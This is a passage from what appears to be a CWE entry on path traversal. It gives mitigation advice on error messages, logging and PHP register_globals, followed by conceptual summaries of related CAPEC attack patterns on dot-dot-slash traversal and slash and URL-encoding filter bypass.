- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.